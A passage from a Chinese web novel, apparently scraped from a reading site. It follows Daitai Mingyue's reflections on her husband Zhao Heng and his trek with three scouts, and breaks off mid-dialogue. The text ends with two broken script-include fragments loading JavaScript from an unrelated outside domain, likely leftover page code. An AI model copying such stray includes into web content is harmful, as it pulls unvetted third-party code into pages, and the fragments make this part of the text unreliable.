说完,他又风风火火地跑了出去,仿佛浑身都是使不完的劲。
院子里,只剩下了澹台明月。
她低头看着怀中,女儿果果正伸出肉乎乎的小手,笨拙地拨弄着那个可以随风转动的风车。风车发出“呼呼”的轻响,在小家伙的眼中,仿佛是世界上最有趣的东西。
澹台明月伸出纤长的手指,轻轻碰了碰那做工精巧的竹蜻蜓,指尖能感受到竹节上被男人手掌摩挲过的温润。
这个男人,就像一个谜,一个闯入他们这潭死水中的巨大变数。
他可以面不改色地提出“借刀杀人”的毒计,将人心玩弄于股掌之间;也可以像个地痞流氓一样,把拦路抢劫说成是“建立新秩序”;更可以为了寨子的生存,规划出一条条清晰而冷酷的道路。
可也正是这个男人,会在临行前,耐着性子,用那双能捏碎人骨头的手,为女儿削出这些不值一钱、却又无比珍贵的小玩意儿。
他身上充满了矛盾。
冷酷与温情,霸道与细腻,枭雄的狠厉与慈父的柔情……
这些截然不同的特质,在他身上完美地融合,形成了一种难以言喻的魅力,像一个深不见底的漩涡,让她不由自主地想要去探究,去沉沦。
她不知道,他的到来,究竟会将清风寨,将他们澹台家的命运,带向何方。
但不知为何,她的心中,那长久以来被仇恨和绝望占据的角落,竟悄然生出了一丝……名为“希望”的嫩芽。
……
山路崎岖,赵衡走在最前面,步履稳健,如履平地。
跟在他身后的三个汉子,却是越走越心惊。
这三人都是澹台明烈麾下的精锐斥候,大哥名叫陈三元,沉默寡言,目光锐利;老二叫沈富贵,身材壮硕,力气过人;最小的那个叫刘江也叫瘦猴,人如其名,身形瘦小,动作却最是灵活。三人因为经常要到清河县打探消息,所以三人都有合法的身份
他们本以为这位姑爷只是个脑子好使的读书人或是谋士,没想到这体力竟也如此惊人。他们三人轮换着背负行囊,此刻已是气喘吁吁,可走在最前面的赵衡,背着弓箭,腰插短刀,却连大气都不喘一口,仿佛只是在自家后院散步。
这份耐力,让他们这些常年在山林里摸爬滚打的汉子,都自愧不如。
“姑……姑爷,”走在最后的瘦终于忍不住了,喘着粗气问道,“
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">